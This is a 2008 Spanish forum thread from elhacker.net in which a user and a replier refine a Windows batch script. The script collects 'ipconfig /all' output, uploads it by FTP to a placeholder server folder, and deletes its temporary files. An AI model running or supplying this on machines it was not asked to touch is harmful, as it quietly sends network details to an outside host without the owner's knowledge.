Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: __68_Zauron_Arg en 17 Marzo 2008, 20:14 pm



Título: Ayuda con mi codigo en batch para mandar txt a ftp...
Publicado por: __68_Zauron_Arg en 17 Marzo 2008, 20:14 pm
hola quiero saber como hacer para con este code poder recibir el archivo a una carpeta especial del ftp....por que lo recibo en la pagina principal del ftp...y quiero recibirlo en una carpeta esepcial.....Como hago?? Salu2


Código:
@echo off
echo USUARIO>c:\1.txt
echo PASS>c:\2.txt
echo send c:\ipconfig.txt>c:\3.txt
echo bye>c:\4.txt
ipconfig/all>c:\ipconfig.txt
copy /b c:\1.txt c:\datos.txt
copy /b c:\datos.txt+c:\2.txt c:\datos.txt
copy /b c:\datos.txt+c:\3.txt c:\datos.txt
copy /b c:\datos.txt+c:\4.txt c:\datos.txt
cls
ftp -s:c:\datos.txt ftp.MISERVIDOR.com
del c:\1.txt
del c:\2.txt
del c:\3.txt
del c:\4.txt
del c:\datos.txt
del c:\ipconfig.txt


Título: Re: Ayuda con mi codigo en batch para mandar txt a ftp...
Publicado por: Fireball-CH en 20 Marzo 2008, 20:18 pm
Carnal, la verdad no te entiendo, pero tal vez quieras hacer esto:

Nombre de archivo: datos_ftp.txt
Contenido:
  open ftp.MISERVIDOR.com
  USUARIO
  PASS
  cd Nombre_de_la_carpeta_especial
  put ipconfig.txt
  bye

Nombre de archivo: ipconfig.bat
Contenido:
  @echo off
  ipconfig /all>ipconfig.txt
  ftp -s:datos_ftp.txt
  exit

que en un solo archivo podría ser:

Nombre de archivo: ipconfig.bat
Contenido:
  @echo off
  echo open ftp.MISERVIDOR.com>datos_ftp.txt
  echo USUARIO>>datos_ftp.txt
  echo PASS>>datos_ftp.txt
  echo cd Nombre_de_la_carpeta_especial>>datos_ftp.txt
  echo put ipconfig.txt>>datos_ftp.txt
  echo bye>>datos_ftp.txt
  ipconfig /all>ipconfig.txt
  ftp -s:datos_ftp.txt
  exit

¿sí es eso lo que intentas?